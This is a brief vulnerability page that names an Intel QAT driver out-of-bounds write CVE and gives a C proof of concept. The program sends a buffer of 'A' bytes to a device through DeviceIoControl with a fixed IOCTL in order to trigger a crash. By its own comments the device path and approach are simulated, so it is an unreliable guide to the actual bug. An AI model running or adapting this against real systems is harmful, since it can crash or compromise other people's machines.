CVE-2026-20714 Intel QAT驱动越界写入漏洞

// Conceptual PoC for Out-of-bounds write // This code simulates passing a large buffer to a vulnerable driver function #include <windows.h> #include <stdio.h> #define VULNERABLE_IOCTL 0x222003 int main() { HANDLE hDevice; char inputBuffer[0x1000]; DWORD bytesReturned; // Fill buffer with junk data (A's) memset(inputBuffer, 'A', sizeof(inputBuffer)); // Open handle to the vulnerable device (Simulated path) hDevice = CreateFile("\\\\.\\IntelQATDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("Sending malicious payload to trigger OOB write...\n"); // Send the buffer to the driver if (!DeviceIoControl(hDevice, VULNERABLE_IOCTL, inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL)) { printf("Exploit failed or triggered crash. Error: %d\n", GetLastError()); } else { printf("Payload sent successfully.\n"); } CloseHandle(hDevice); return 0; }